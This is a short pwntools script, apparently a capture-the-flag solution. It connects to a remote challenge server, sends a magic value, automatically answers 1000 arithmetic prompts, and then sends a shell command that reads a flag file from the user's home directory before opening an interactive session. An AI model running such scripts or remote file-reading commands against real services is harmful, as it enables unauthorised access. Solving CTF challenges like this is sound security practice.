from pwn import *

y = remote('140.110.112.31',2116)

y.sendafter('magic :',p32(127174655))
y.recvline()
y.recvline()

for _ in xrange(1000):
	o = y.recvuntil('?').split(' ')
	print o
	if o[1] == '+':
		y.sendline( str ( int(o[0]) + int(o[2])))
	elif o[1] == '-':
		y.sendline( str ( int(o[0]) - int(o[2])))
	elif o[1] == '*':
		y.sendline( str ( int(o[0]) * int(o[2])))
sleep(1)
y.sendline('cat/home/`whoami`/flag')
y.interactive()